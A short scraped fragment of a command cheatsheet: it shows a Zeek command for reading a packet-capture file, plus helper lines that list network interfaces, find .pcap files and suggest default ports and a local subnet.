zeek -r <pcap_file>
|
||||||
|
|
||||||
|
$ interface: ip link show | grep -E "^[0-9]" | cut -d: -f2 | tr -d ' ' | grep -v lo
|
||||||
|
$ pcap_file: find . -name "*.pcap" -o -name "*.pcapng" 2>/dev/null
|
||||||
|
$ output_pcap: echo "capture.pcap"
|
||||||
|
$ ip: echo ""
|
||||||
|
$ port: echo "80\n443\n22\n21\n53"
|
||||||
|
$ network_cidr: echo "192.168.1.0/24"
|
||||||
|
$ stream_number: echo "0"
|
||||||
|
$ output_dir: echo "extracted"
|
||||||
Loading…
Add table
Reference in a new issue